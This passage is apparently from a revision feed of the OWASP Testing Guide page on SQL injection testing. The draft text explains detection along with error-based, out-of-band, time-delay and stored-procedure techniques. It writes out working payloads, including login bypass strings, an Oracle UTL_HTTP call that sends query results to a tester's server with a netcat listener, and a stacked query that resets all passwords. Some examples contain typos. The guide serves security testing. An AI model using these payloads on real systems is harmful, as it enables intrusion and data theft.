two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257:&lt;br /&gt;
host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2010-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140052</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140052"/>
				<updated>2012-11-21T23:07:44Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Testing for SQL Injection Testing Guide v4 draft&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 select title, text from news where id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
select title, text from news where id=10 or 1=1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=10&lt;br /&gt;
AND 1=2&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
